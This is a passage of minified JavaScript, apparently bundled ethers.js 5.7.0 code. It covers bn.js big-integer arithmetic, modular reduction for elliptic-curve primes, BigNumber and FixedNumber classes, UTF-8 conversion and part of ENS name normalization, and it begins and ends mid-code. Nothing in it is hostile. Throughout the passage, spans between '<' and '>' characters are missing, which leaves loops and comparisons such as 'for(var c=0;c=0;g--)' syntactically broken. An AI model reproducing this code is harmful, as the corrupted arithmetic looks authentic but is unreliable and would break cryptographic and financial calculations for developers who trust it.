this.iaddn(-t);if(0!==this.negative)return this.negative=0,this.iaddn(t),this.negative=1,this;if(this.words[0]-=t,1===this.length&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var e=0;e>26)-(a/67108864|0),this.words[A+n]=67108863&i}for(;A>26,this.words[A+n]=67108863&i;if(0===s)return this._strip();for(r(-1===s),s=0,A=0;A>26,this.words[A]=67108863&i;return this.negative=1,this._strip()},A.prototype._wordDiv=function(t,e){var r=(this.length,t.length),n=this.clone(),i=t,o=0|i.words[i.length-1];0!=(r=26-this._countBits(o))&&(i=i.ushln(r),n.iushln(r),o=0|i.words[i.length-1]);var s,a=n.length-i.length;if(\"mod\"!==e){(s=new A(null)).length=a+1,s.words=new Array(s.length);for(var c=0;c=0;g--){var u=67108864*(0|n.words[i.length+g])+(0|n.words[i.length+g-1]);for(u=Math.min(u/o|0,67108863),n._ishlnsubmul(i,u,g);0!==n.negative;)u--,n.negative=0,n._ishlnsubmul(i,1,g),n.isZero()||(n.negative^=1);s&&(s.words[g]=u)}return s&&s._strip(),n._strip(),\"div\"!==e&&0!==r&&n.iushrn(r),{div:s||null,mod:n}},A.prototype.divmod=function(t,e,n){return r(!t.isZero()),this.isZero()?{div:new A(0),mod:new A(0)}:0!==this.negative&&0===t.negative?(s=this.neg().divmod(t,e),\"mod\"!==e&&(i=s.div.neg()),\"div\"!==e&&(o=s.mod.neg(),n&&0!==o.negative&&o.iadd(t)),{div:i,mod:o}):0===this.negative&&0!==t.negative?(s=this.divmod(t.neg(),e),\"mod\"!==e&&(i=s.div.neg()),{div:i,mod:s.mod}):this.negative&t.negative?(s=this.neg().divmod(t.neg(),e),\"div\"!==e&&(o=s.mod.neg(),n&&0!==o.negative&&o.isub(t)),{div:s.div,mod:o}):t.length>this.length||this.cmp(t)<0?{div:new A(0),mod:this}:1===t.length?\"div\"===e?{div:this.divn(t.words[0]),mod:null}:\"mod\"===e?{div:null,mod:new A(this.modrn(t.words[0]))}:{div:this.divn(t.words[0]),mod:new A(this.modrn(t.words[0]))}:this._wordDiv(t,e);var i,o,s},A.prototype.div=function(t){return this.divmod(t,\"div\",!1).div},A.prototype.mod=function(t){return this.divmod(t,\"mod\",!1).mod},A.prototype.umod=function(t){return this.divmod(t,\"mod\",!0).mod},A.prototype.divRound=function(t){var e=this.divmod(t);if(e.mod.isZero())return e.div;var r=0!==e.div.negative?e.mod.isub(t):e.mod,n=t.ushrn(1),A=t.andln(1),i=r.cmp(n);return i<0||1===A&&0===i?e.div:0!==e.div.negative?e.div.isubn(1):e.div.iaddn(1)},A.prototype.modrn=function(t){var e=t<0;e&&(t=-t),r(t<=67108863);for(var n=(1<<26)%t,A=0,i=this.length-1;i>=0;i--)A=(n*A+(0|this.words[i]))%t;return e?-A:A},A.prototype.modn=function(t){return this.modrn(t)},A.prototype.idivn=function(t){var e=t<0;e&&(t=-t),r(t<=67108863);for(var n=0,A=this.length-1;A>=0;A--){var i=(0|this.words[A])+67108864*n;this.words[A]=i/t|0,n=i%t}return this._strip(),e?this.ineg():this},A.prototype.divn=function(t){return this.clone().idivn(t)},A.prototype.egcd=function(t){r(0===t.negative),r(!t.isZero());var e=this,n=t.clone();e=0!==e.negative?e.umod(t):e.clone();for(var i=new A(1),o=new A(0),s=new A(0),a=new A(1),c=0;e.isEven()&&n.isEven();)e.iushrn(1),n.iushrn(1),++c;for(var h=n.clone(),g=e.clone();!e.isZero();){for(var u=0,l=1;!(e.words[0]&l)&&u<26;++u,l<<=1);if(u>0)for(e.iushrn(u);u-- >0;)(i.isOdd()||o.isOdd())&&(i.iadd(h),o.isub(g)),i.iushrn(1),o.iushrn(1);for(var f=0,p=1;!(n.words[0]&p)&&f<26;++f,p<<=1);if(f>0)for(n.iushrn(f);f-- >0;)(s.isOdd()||a.isOdd())&&(s.iadd(h),a.isub(g)),s.iushrn(1),a.iushrn(1);e.cmp(n)>=0?(e.isub(n),i.isub(s),o.isub(a)):(n.isub(e),s.isub(i),a.isub(o))}return{a:s,b:a,gcd:n.iushln(c)}},A.prototype._invmp=function(t){r(0===t.negative),r(!t.isZero());var e=this,n=t.clone();e=0!==e.negative?e.umod(t):e.clone();for(var i,o=new A(1),s=new A(0),a=n.clone();e.cmpn(1)>0&&n.cmpn(1)>0;){for(var c=0,h=1;!(e.words[0]&h)&&c<26;++c,h<<=1);if(c>0)for(e.iushrn(c);c-- >0;)o.isOdd()&&o.iadd(a),o.iushrn(1);for(var g=0,u=1;!(n.words[0]&u)&&g<26;++g,u<<=1);if(g>0)for(n.iushrn(g);g-- >0;)s.isOdd()&&s.iadd(a),s.iushrn(1);e.cmp(n)>=0?(e.isub(n),o.isub(s)):(n.isub(e),s.isub(o))}return(i=0===e.cmpn(1)?o:s).cmpn(0)<0&&i.iadd(t),i},A.prototype.gcd=function(t){if(this.isZero())return t.abs();if(t.isZero())return this.abs();var e=this.clone(),r=t.clone();e.negative=0,r.negative=0;for(var n=0;e.isEven()&&r.isEven();n++)e.iushrn(1),r.iushrn(1);for(;;){for(;e.isEven();)e.iushrn(1);for(;r.isEven();)r.iushrn(1);var A=e.cmp(r);if(A<0){var i=e;e=r,r=i}else if(0===A||0===r.cmpn(1))break;e.isub(r)}return r.iushln(n)},A.prototype.invm=function(t){return this.egcd(t).a.umod(t)},A.prototype.isEven=function(){return!(1&this.words[0])},A.prototype.isOdd=function(){return!(1&~this.words[0])},A.prototype.andln=function(t){return this.words[0]&t},A.prototype.bincn=function(t){r(\"number\"==typeof t);var e=t%26,n=(t-e)/26,A=1<>>26,s&=67108863,this.words[o]=s}return 0!==i&&(this.words[o]=i,this.length++),this},A.prototype.isZero=function(){return 1===this.length&&0===this.words[0]},A.prototype.cmpn=function(t){var e,n=t<0;if(0!==this.negative&&!n)return-1;if(0===this.negative&&n)return 1;if(this._strip(),this.length>1)e=1;else{n&&(t=-t),r(t<=67108863,\"Number is too big\");var A=0|this.words[0];e=A===t?0:At.length)return 1;if(this.length=0;r--){var n=0|this.words[r],A=0|t.words[r];if(n!==A){nA&&(e=1);break}}return e},A.prototype.gtn=function(t){return 1===this.cmpn(t)},A.prototype.gt=function(t){return 1===this.cmp(t)},A.prototype.gten=function(t){return this.cmpn(t)>=0},A.prototype.gte=function(t){return this.cmp(t)>=0},A.prototype.ltn=function(t){return-1===this.cmpn(t)},A.prototype.lt=function(t){return-1===this.cmp(t)},A.prototype.lten=function(t){return this.cmpn(t)<=0},A.prototype.lte=function(t){return this.cmp(t)<=0},A.prototype.eqn=function(t){return 0===this.cmpn(t)},A.prototype.eq=function(t){return 0===this.cmp(t)},A.red=function(t){return new v(t)},A.prototype.toRed=function(t){return r(!this.red,\"Already a number in reduction context\"),r(0===this.negative,\"red works only with positives\"),t.convertTo(this)._forceRed(t)},A.prototype.fromRed=function(){return r(this.red,\"fromRed works only with numbers in reduction context\"),this.red.convertFrom(this)},A.prototype._forceRed=function(t){return this.red=t,this},A.prototype.forceRed=function(t){return r(!this.red,\"Already a number in reduction context\"),this._forceRed(t)},A.prototype.redAdd=function(t){return r(this.red,\"redAdd works only with red numbers\"),this.red.add(this,t)},A.prototype.redIAdd=function(t){return r(this.red,\"redIAdd works only with red numbers\"),this.red.iadd(this,t)},A.prototype.redSub=function(t){return r(this.red,\"redSub works only with red numbers\"),this.red.sub(this,t)},A.prototype.redISub=function(t){return r(this.red,\"redISub works only with red numbers\"),this.red.isub(this,t)},A.prototype.redShl=function(t){return r(this.red,\"redShl works only with red numbers\"),this.red.shl(this,t)},A.prototype.redMul=function(t){return r(this.red,\"redMul works only with red numbers\"),this.red._verify2(this,t),this.red.mul(this,t)},A.prototype.redIMul=function(t){return r(this.red,\"redMul works only with red numbers\"),this.red._verify2(this,t),this.red.imul(this,t)},A.prototype.redSqr=function(){return r(this.red,\"redSqr works only with red numbers\"),this.red._verify1(this),this.red.sqr(this)},A.prototype.redISqr=function(){return r(this.red,\"redISqr works only with red numbers\"),this.red._verify1(this),this.red.isqr(this)},A.prototype.redSqrt=function(){return r(this.red,\"redSqrt works only with red numbers\"),this.red._verify1(this),this.red.sqrt(this)},A.prototype.redInvm=function(){return r(this.red,\"redInvm works only with red numbers\"),this.red._verify1(this),this.red.invm(this)},A.prototype.redNeg=function(){return r(this.red,\"redNeg works only with red numbers\"),this.red._verify1(this),this.red.neg(this)},A.prototype.redPow=function(t){return r(this.red&&!t.red,\"redPow(normalNum)\"),this.red._verify1(this),this.red.pow(this,t)};var y={k256:null,p224:null,p192:null,p25519:null};function C(t,e){this.name=t,this.p=new A(e,16),this.n=this.p.bitLength(),this.k=new A(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}function m(){C.call(this,\"k256\",\"ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f\")}function B(){C.call(this,\"p224\",\"ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001\")}function E(){C.call(this,\"p192\",\"ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff\")}function w(){C.call(this,\"25519\",\"7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed\")}function v(t){if(\"string\"==typeof t){var e=A._prime(t);this.m=e.p,this.prime=e}else r(t.gtn(1),\"modulus must be greater than 1\"),this.m=t,this.prime=null}function _(t){v.call(this,t),this.shift=this.m.bitLength(),this.shift%26!=0&&(this.shift+=26-this.shift%26),this.r=new A(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}C.prototype._tmp=function(){var t=new A(null);return t.words=new Array(Math.ceil(this.n/13)),t},C.prototype.ireduce=function(t){var e,r=t;do{this.split(r,this.tmp),e=(r=(r=this.imulK(r)).iadd(this.tmp)).bitLength()}while(e>this.n);var n=e0?r.isub(this.p):void 0!==r.strip?r.strip():r._strip(),r},C.prototype.split=function(t,e){t.iushrn(this.n,0,e)},C.prototype.imulK=function(t){return t.imul(this.k)},n(m,C),m.prototype.split=function(t,e){for(var r=4194303,n=Math.min(t.length,9),A=0;A>>22,i=o}i>>>=22,t.words[A-10]=i,0===i&&t.length>10?t.length-=10:t.length-=9},m.prototype.imulK=function(t){t.words[t.length]=0,t.words[t.length+1]=0,t.length+=2;for(var e=0,r=0;r>>=26,t.words[r]=A,e=n}return 0!==e&&(t.words[t.length++]=e),t},A._prime=function(t){if(y[t])return y[t];var e;if(\"k256\"===t)e=new m;else if(\"p224\"===t)e=new B;else if(\"p192\"===t)e=new E;else{if(\"p25519\"!==t)throw new Error(\"Unknown prime \"+t);e=new w}return y[t]=e,e},v.prototype._verify1=function(t){r(0===t.negative,\"red works only with positives\"),r(t.red,\"red works only with red numbers\")},v.prototype._verify2=function(t,e){r(!(t.negative|e.negative),\"red works only with positives\"),r(t.red&&t.red===e.red,\"red works only with red numbers\")},v.prototype.imod=function(t){return this.prime?this.prime.ireduce(t)._forceRed(this):(c(t,t.umod(this.m)._forceRed(this)),t)},v.prototype.neg=function(t){return t.isZero()?t.clone():this.m.sub(t)._forceRed(this)},v.prototype.add=function(t,e){this._verify2(t,e);var r=t.add(e);return r.cmp(this.m)>=0&&r.isub(this.m),r._forceRed(this)},v.prototype.iadd=function(t,e){this._verify2(t,e);var r=t.iadd(e);return r.cmp(this.m)>=0&&r.isub(this.m),r},v.prototype.sub=function(t,e){this._verify2(t,e);var r=t.sub(e);return r.cmpn(0)<0&&r.iadd(this.m),r._forceRed(this)},v.prototype.isub=function(t,e){this._verify2(t,e);var r=t.isub(e);return r.cmpn(0)<0&&r.iadd(this.m),r},v.prototype.shl=function(t,e){return this._verify1(t),this.imod(t.ushln(e))},v.prototype.imul=function(t,e){return this._verify2(t,e),this.imod(t.imul(e))},v.prototype.mul=function(t,e){return this._verify2(t,e),this.imod(t.mul(e))},v.prototype.isqr=function(t){return this.imul(t,t.clone())},v.prototype.sqr=function(t){return this.mul(t,t)},v.prototype.sqrt=function(t){if(t.isZero())return t.clone();var e=this.m.andln(3);if(r(e%2==1),3===e){var n=this.m.add(new A(1)).iushrn(2);return this.pow(t,n)}for(var i=this.m.subn(1),o=0;!i.isZero()&&0===i.andln(1);)o++,i.iushrn(1);r(!i.isZero());var s=new A(1).toRed(this),a=s.redNeg(),c=this.m.subn(1).iushrn(1),h=this.m.bitLength();for(h=new A(2*h*h).toRed(this);0!==this.pow(h,c).cmp(a);)h.redIAdd(a);for(var g=this.pow(h,i),u=this.pow(t,i.addn(1).iushrn(1)),l=this.pow(t,i),f=o;0!==l.cmp(s);){for(var p=l,d=0;0!==p.cmp(s);d++)p=p.redSqr();r(d=0;n--){for(var c=e.words[n],h=a-1;h>=0;h--){var g=c>>h&1;i!==r[0]&&(i=this.sqr(i)),0!==g||0!==o?(o<<=1,o|=g,(4==++s||0===n&&0===h)&&(i=this.mul(i,r[o]),s=0,o=0)):s=0}a=26}return i},v.prototype.convertTo=function(t){var e=t.umod(this.m);return e===t?e.clone():e},v.prototype.convertFrom=function(t){var e=t.clone();return e.red=null,e},A.mont=function(t){return new _(t)},n(_,v),_.prototype.convertTo=function(t){return this.imod(t.ushln(this.shift))},_.prototype.convertFrom=function(t){var e=this.imod(t.mul(this.rinv));return e.red=null,e},_.prototype.imul=function(t,e){if(t.isZero()||e.isZero())return t.words[0]=0,t.length=1,t;var r=t.imul(e),n=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),A=r.isub(n).iushrn(this.shift),i=A;return A.cmp(this.m)>=0?i=A.isub(this.m):A.cmpn(0)<0&&(i=A.iadd(this.m)),i._forceRed(this)},_.prototype.mul=function(t,e){if(t.isZero()||e.isZero())return new A(0)._forceRed(this);var r=t.mul(e),n=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),i=r.isub(n).iushrn(this.shift),o=i;return i.cmp(this.m)>=0?o=i.isub(this.m):i.cmpn(0)<0&&(o=i.iadd(this.m)),o._forceRed(this)},_.prototype.invm=function(t){return this.imod(t._invmp(this.m).mul(this.r2))._forceRed(this)}}(P,t);const R=\"bignumber/5.7.0\";var U=e(P.exports).BN;const G=new m(R),H={},L=9007199254740991;let O=!1,Y=class t{constructor(t,e){t!==H&&G.throwError(\"cannot call constructor directly; use BigNumber.from\",m.errors.UNSUPPORTED_OPERATION,{operation:\"new (BigNumber)\"}),this._hex=e,this._isBigNumber=!0,Object.freeze(this)}fromTwos(t){return J(j(this).fromTwos(t))}toTwos(t){return J(j(this).toTwos(t))}abs(){return\"-\"===this._hex[0]?t.from(this._hex.substring(1)):this}add(t){return J(j(this).add(j(t)))}sub(t){return J(j(this).sub(j(t)))}div(e){return t.from(e).isZero()&&z(\"division-by-zero\",\"div\"),J(j(this).div(j(e)))}mul(t){return J(j(this).mul(j(t)))}mod(t){const e=j(t);return e.isNeg()&&z(\"division-by-zero\",\"mod\"),J(j(this).umod(e))}pow(t){const e=j(t);return e.isNeg()&&z(\"negative-power\",\"pow\"),J(j(this).pow(e))}and(t){const e=j(t);return(this.isNegative()||e.isNeg())&&z(\"unbound-bitwise-result\",\"and\"),J(j(this).and(e))}or(t){const e=j(t);return(this.isNegative()||e.isNeg())&&z(\"unbound-bitwise-result\",\"or\"),J(j(this).or(e))}xor(t){const e=j(t);return(this.isNegative()||e.isNeg())&&z(\"unbound-bitwise-result\",\"xor\"),J(j(this).xor(e))}mask(t){return(this.isNegative()||t<0)&&z(\"negative-width\",\"mask\"),J(j(this).maskn(t))}shl(t){return(this.isNegative()||t<0)&&z(\"negative-width\",\"shl\"),J(j(this).shln(t))}shr(t){return(this.isNegative()||t<0)&&z(\"negative-width\",\"shr\"),J(j(this).shrn(t))}eq(t){return j(this).eq(j(t))}lt(t){return j(this).lt(j(t))}lte(t){return j(this).lte(j(t))}gt(t){return j(this).gt(j(t))}gte(t){return j(this).gte(j(t))}isNegative(){return\"-\"===this._hex[0]}isZero(){return j(this).isZero()}toNumber(){try{return j(this).toNumber()}catch(t){z(\"overflow\",\"toNumber\",this.toString())}return null}toBigInt(){try{return BigInt(this.toString())}catch(t){}return G.throwError(\"this platform does not support BigInt\",m.errors.UNSUPPORTED_OPERATION,{value:this.toString()})}toString(){return arguments.length>0&&(10===arguments[0]?O||(O=!0,G.warn(\"BigNumber.toString does not accept any parameters; base-10 is assumed\")):16===arguments[0]?G.throwError(\"BigNumber.toString does not accept any parameters; use bigNumber.toHexString()\",m.errors.UNEXPECTED_ARGUMENT,{}):G.throwError(\"BigNumber.toString does not accept parameters\",m.errors.UNEXPECTED_ARGUMENT,{})),j(this).toString(10)}toHexString(){return this._hex}toJSON(t){return{type:\"BigNumber\",hex:this.toHexString()}}static from(e){if(e instanceof t)return e;if(\"string\"==typeof e)return e.match(/^-?0x[0-9a-f]+$/i)?new t(H,K(e)):e.match(/^-?[0-9]+$/)?new t(H,K(new U(e))):G.throwArgumentError(\"invalid BigNumber string\",\"value\",e);if(\"number\"==typeof e)return e%1&&z(\"underflow\",\"BigNumber.from\",e),(e>=L||e<=-L)&&z(\"overflow\",\"BigNumber.from\",e),t.from(String(e));const r=e;if(\"bigint\"==typeof r)return t.from(r.toString());if(_(r))return t.from(S(r));if(r)if(r.toHexString){const e=r.toHexString();if(\"string\"==typeof e)return t.from(e)}else{let e=r._hex;if(null==e&&\"BigNumber\"===r.type&&(e=r.hex),\"string\"==typeof e&&(k(e)||\"-\"===e[0]&&k(e.substring(1))))return t.from(e)}return G.throwArgumentError(\"invalid BigNumber value\",\"value\",e)}static isBigNumber(t){return!(!t||!t._isBigNumber)}};function K(t){if(\"string\"!=typeof t)return K(t.toString(16));if(\"-\"===t[0])return\"-\"===(t=t.substring(1))[0]&&G.throwArgumentError(\"invalid hex\",\"value\",t),\"0x00\"===(t=K(t))?t:\"-\"+t;if(\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),\"0x\"===t)return\"0x00\";for(t.length%2&&(t=\"0x0\"+t.substring(2));t.length>4&&\"0x00\"===t.substring(0,4);)t=\"0x\"+t.substring(4);return t}function J(t){return Y.from(K(t))}function j(t){const e=Y.from(t).toHexString();return\"-\"===e[0]?new U(\"-\"+e.substring(3),16):new U(e.substring(2),16)}function z(t,e,r){const n={fault:t,operation:e};return null!=r&&(n.value=r),G.throwError(t,m.errors.NUMERIC_FAULT,n)}function q(t){return new U(t,36).toString(16)}const X=new m(R),V={},W=Y.from(0),Z=Y.from(-1);function $(t,e,r,n){const A={fault:e,operation:r};return void 0!==n&&(A.value=n),X.throwError(t,m.errors.NUMERIC_FAULT,A)}let tt=\"0\";for(;tt.length<256;)tt+=tt;function et(t){if(\"number\"!=typeof t)try{t=Y.from(t).toNumber()}catch(t){}return\"number\"==typeof t&&t>=0&&t<=256&&!(t%1)?\"1\"+tt.substring(0,t):X.throwArgumentError(\"invalid decimal size\",\"decimals\",t)}function rt(t,e){null==e&&(e=0);const r=et(e),n=(t=Y.from(t)).lt(W);n&&(t=t.mul(Z));let A=t.mod(r).toString();for(;A.length2&&X.throwArgumentError(\"too many decimal points\",\"value\",t);let i=A[0],o=A[1];for(i||(i=\"0\"),o||(o=\"0\");\"0\"===o[o.length-1];)o=o.substring(0,o.length-1);for(o.length>r.length-1&&$(\"fractional component exceeds decimals\",\"underflow\",\"parseFixed\"),\"\"===o&&(o=\"0\");o.lengthnull==t[e]?n:(typeof t[e]!==r&&X.throwArgumentError(\"invalid fixed format (\"+e+\" not \"+r+\")\",\"format.\"+e,t[e]),t[e]);e=A(\"signed\",\"boolean\",e),r=A(\"width\",\"number\",r),n=A(\"decimals\",\"number\",n)}return r%8&&X.throwArgumentError(\"invalid fixed format width (not byte aligned)\",\"format.width\",r),n>80&&X.throwArgumentError(\"invalid fixed format (decimals too large)\",\"format.decimals\",n),new At(V,e,r,n)}}let it=class t{constructor(t,e,r,n){t!==V&&X.throwError(\"cannot use FixedNumber constructor; use FixedNumber.from\",m.errors.UNSUPPORTED_OPERATION,{operation:\"new FixedFormat\"}),this.format=n,this._hex=e,this._value=r,this._isFixedNumber=!0,Object.freeze(this)}_checkFormat(t){this.format.name!==t.format.name&&X.throwArgumentError(\"incompatible format; use fixedNumber.toFormat\",\"other\",t)}addUnsafe(e){this._checkFormat(e);const r=nt(this._value,this.format.decimals),n=nt(e._value,e.format.decimals);return t.fromValue(r.add(n),this.format.decimals,this.format)}subUnsafe(e){this._checkFormat(e);const r=nt(this._value,this.format.decimals),n=nt(e._value,e.format.decimals);return t.fromValue(r.sub(n),this.format.decimals,this.format)}mulUnsafe(e){this._checkFormat(e);const r=nt(this._value,this.format.decimals),n=nt(e._value,e.format.decimals);return t.fromValue(r.mul(n).div(this.format._multiplier),this.format.decimals,this.format)}divUnsafe(e){this._checkFormat(e);const r=nt(this._value,this.format.decimals),n=nt(e._value,e.format.decimals);return t.fromValue(r.mul(this.format._multiplier).div(n),this.format.decimals,this.format)}floor(){const e=this.toString().split(\".\");1===e.length&&e.push(\"0\");let r=t.from(e[0],this.format);const n=!e[1].match(/^(0*)$/);return this.isNegative()&&n&&(r=r.subUnsafe(ot.toFormat(r.format))),r}ceiling(){const e=this.toString().split(\".\");1===e.length&&e.push(\"0\");let r=t.from(e[0],this.format);const n=!e[1].match(/^(0*)$/);return!this.isNegative()&&n&&(r=r.addUnsafe(ot.toFormat(r.format))),r}round(e){null==e&&(e=0);const r=this.toString().split(\".\");if(1===r.length&&r.push(\"0\"),(e<0||e>80||e%1)&&X.throwArgumentError(\"invalid decimal count\",\"decimals\",e),r[1].length<=e)return this;const n=t.from(\"1\"+tt.substring(0,e),this.format),A=st.toFormat(this.format);return this.mulUnsafe(n).addUnsafe(A).floor().divUnsafe(n)}isZero(){return\"0.0\"===this._value||\"0\"===this._value}isNegative(){return\"-\"===this._value[0]}toString(){return this._value}toHexString(t){if(null==t)return this._hex;t%8&&X.throwArgumentError(\"invalid byte width\",\"width\",t);return x(Y.from(this._hex).fromTwos(this.format.width).toTwos(t).toHexString(),t/8)}toUnsafeFloat(){return parseFloat(this.toString())}toFormat(e){return t.fromString(this._value,e)}static fromValue(e,r,n){return null!=n||null==r||function(t){return null!=t&&(Y.isBigNumber(t)||\"number\"==typeof t&&t%1==0||\"string\"==typeof t&&!!t.match(/^-?[0-9]+$/)||k(t)||\"bigint\"==typeof t||_(t))}(r)||(n=r,r=null),null==r&&(r=0),null==n&&(n=\"fixed\"),t.fromString(rt(e,r),At.from(n))}static fromString(e,r){null==r&&(r=\"fixed\");const n=At.from(r),A=nt(e,n.decimals);!n.signed&&A.lt(W)&&$(\"unsigned value cannot be negative\",\"overflow\",\"value\",e);let i=null;n.signed?i=A.toTwos(n.width).toHexString():(i=A.toHexString(),i=x(i,n.width/8));const o=rt(A,n.decimals);return new t(V,i,o,n)}static fromBytes(e,r){null==r&&(r=\"fixed\");const n=At.from(r);if(Q(e).length>n.width/8)throw new Error(\"overflow\");let A=Y.from(e);n.signed&&(A=A.fromTwos(n.width));const i=A.toTwos((n.signed?0:1)+n.width).toHexString(),o=rt(A,n.decimals);return new t(V,i,o,n)}static from(e,r){if(\"string\"==typeof e)return t.fromString(e,r);if(_(e))return t.fromBytes(e,r);try{return t.fromValue(e,0,r)}catch(t){if(t.code!==m.errors.INVALID_ARGUMENT)throw t}return X.throwArgumentError(\"invalid FixedNumber value\",\"value\",e)}static isFixedNumber(t){return!(!t||!t._isFixedNumber)}};const ot=it.from(1),st=it.from(\"0.5\");var at=Object.freeze({__proto__:null,BigNumber:Y,FixedFormat:At,FixedNumber:it,_base16To36:function(t){return new U(t,16).toString(36)},_base36To16:q,formatFixed:rt,parseFixed:nt});const ct=Y.from(-1),ht=Y.from(0),gt=Y.from(1),ut=Y.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"),lt=new m(\"strings/5.7.0\");var ft,pt;function dt(t,e,r,n,A){if(t===pt.BAD_PREFIX||t===pt.UNEXPECTED_CONTINUE){let t=0;for(let n=e+1;n>6==2;n++)t++;return t}return t===pt.OVERRUN?r.length-e-1:0}!function(t){t.current=\"\",t.NFC=\"NFC\",t.NFD=\"NFD\",t.NFKC=\"NFKC\",t.NFKD=\"NFKD\"}(ft||(ft={})),function(t){t.UNEXPECTED_CONTINUE=\"unexpected continuation byte\",t.BAD_PREFIX=\"bad codepoint prefix\",t.OVERRUN=\"string overrun\",t.MISSING_CONTINUE=\"missing continuation byte\",t.OUT_OF_RANGE=\"out of UTF-8 range\",t.UTF16_SURROGATE=\"UTF-16 surrogate\",t.OVERLONG=\"overlong representation\"}(pt||(pt={}));const It=Object.freeze({error:function(t,e,r,n,A){return lt.throwArgumentError(`invalid codepoint at offset ${e}; ${t}`,\"bytes\",r)},ignore:dt,replace:function(t,e,r,n,A){return t===pt.OVERLONG?(n.push(A),0):(n.push(65533),dt(t,e,r))}});function yt(t,e){null==e&&(e=It.error),t=Q(t);const r=[];let n=0;for(;n>7)){r.push(A);continue}let i=null,o=null;if(192==(224&A))i=1,o=127;else if(224==(240&A))i=2,o=2047;else{if(240!=(248&A)){n+=e(128==(192&A)?pt.UNEXPECTED_CONTINUE:pt.BAD_PREFIX,n-1,t,r);continue}i=3,o=65535}if(n-1+i>=t.length){n+=e(pt.OVERRUN,n-1,t,r);continue}let s=A&(1<<8-i-1)-1;for(let A=0;A1114111?n+=e(pt.OUT_OF_RANGE,n-1-i,t,r,s):s>=55296&&s<=57343?n+=e(pt.UTF16_SURROGATE,n-1-i,t,r,s):s<=o?n+=e(pt.OVERLONG,n-1-i,t,r,s):r.push(s))}return r}function Ct(t,e=ft.current){e!=ft.current&&(lt.checkNormalize(),t=t.normalize(e));let r=[];for(let e=0;e>6|192),r.push(63&n|128);else if(55296==(64512&n)){e++;const A=t.charCodeAt(e);if(e>=t.length||56320!=(64512&A))throw new Error(\"invalid utf-8 string\");const i=65536+((1023&n)<<10)+(1023&A);r.push(i>>18|240),r.push(i>>12&63|128),r.push(i>>6&63|128),r.push(63&i|128)}else r.push(n>>12|224),r.push(n>>6&63|128),r.push(63&n|128)}return Q(r)}function mt(t,e){return yt(t,e).map((t=>t<=65535?String.fromCharCode(t):(t-=65536,String.fromCharCode(55296+(t>>10&1023),56320+(1023&t))))).join(\"\")}function Bt(t){return F(Ct(t))}const Et=\"hash/5.7.0\";function wt(t,e){null==e&&(e=1);const r=[],n=r.forEach,A=function(t,e){n.call(t,(function(t){e>0&&Array.isArray(t)?A(t,e-1):r.push(t)}))};return A(t,e),r}function vt(t){return function(t){let e=0;return()=>t[e++]}(function(t){let e=0;function r(){return t[e++]<<8|t[e++]}let n=r(),A=1,i=[0,1];for(let t=1;t>--a&1}const g=Math.pow(2,31),u=g>>>1,l=u>>1,f=g-1;let p=0;for(let t=0;t<31;t++)p=p<<1|h();let d=[],I=0,y=g;for(;;){let t=Math.floor(((p-I+1)*A-1)/y),e=0,r=n;for(;r-e>1;){let n=e+r>>>1;t>>1|h(),o=o<<1^u,s=(s^u)<<1|u|1;I=o,y=1+s-o}let C=n-4;return d.map((e=>{switch(e-C){case 3:return C+65792+(t[s++]<<16|t[s++]<<8|t[s++]);case 2:return C+256+(t[s++]<<8|t[s++]);case 1:return C+t[s++];default:return e-1}}))}(t))}function _t(t){return 1&t?~t>>1:t>>1}function Qt(t,e){let r=Array(t);for(let n=0,A=-1;ne[t])):r}function Dt(t,e,r){let n=Array(t).fill(void 0).map((()=>[]));for(let A=0;An[e].push(t)));return n}function St(t,e){let r=1+e(),n=e(),A=function(t){let e=[];for(;;){let r=t();if(0==r)break;e.push(r)}return e}(e);return wt(Dt(A.length,1+t,e).map(((t,e)=>{const i=t[0],o=t.slice(1);return Array(A[e]).fill(void 0).map(((t,e)=>{let A=e*n;return[i+e*r,o.map((t=>t+A))]}))})))}function Nt(t,e){return Dt(1+e(),1+t,e).map((t=>[t[0],t.slice(1)]))}const Mt=vt(function(t){t=atob(t);const e=[];for(let r=0;rt-e));return function r(){let n=[];for(;;){let A=kt(t,e);if(0==A.length)break;n.push({set:new Set(A),node:r()})}n.sort(((t,e)=>e.set.size-t.set.size));let A=t(),i=A%3;A=A/3|0;let o=!!(1&A);return A>>=1,{branches:n,valid:i,fe0f:o,save:1==A,check:2==A}}()}(Mt),Rt=45,Ut=95;function Gt(t){return function(t,e=ft.current){return yt(Ct(t,e))}(t)}function Ht(t){return t.filter((t=>65039!=t))}function Lt(t){for(let e of t.split(\".\")){let t=Gt(e);try{for(let e=t.lastIndexOf(Ut)-1;e>=0;e--)if(t[e]!==Ut)throw new Error(\"underscore only allowed at start\");if(t.length>=4&&t.every((t=>t<128))&&t[2]===Rt&&t[3]===Rt)throw new Error(\"invalid label extension\")}catch(t){throw new Error(`Invalid label \"${e}\": ${t.message}`)}}return t}function Ot(t){return Lt(function(t,e){let r=Gt(t).reverse(),n=[];for(;r.length;){let t=Yt(r);if(t){n.push(...e(t));continue}let A=r.pop();if(xt.has(A)){n.push(A);continue}if(Ft.has(A))continue;let i=Pt[A];if(!i)throw new Error(`Disallowed codepoint: 0x${A.toString(16).toUpperCase()}`);n.push(...i)}return Lt((A=String.fromCodePoint(...n),A.normalize(\"NFC\")));var A}(t,Ht))}function Yt(t,e){var r;let n,A,i=Tt,o=[],s=t.length;for(e&&(e.length=0);s;){let a=t[--s];if(i=null===(r=i.branches.find((t=>t.set.has(a))))||void 0===r?void 0:r.node,!i)break;if(i.save)A=a;else if(i.check&&a===A)break;o.push(a),i.fe0f&&(o.push(65039),s>0&&65039==t[s-1]&&s--),i.valid&&(n=o.slice(),2==i.valid&&n.splice(1,1),e&&e.push(...t.slice(s).reverse()),t.length=s)}return n}const Kt=new m(Et),Jt=new Uint8Array(32);function jt(t){if(0===t.length)throw new Error(\"invalid ENS name; empty component\");return t}function 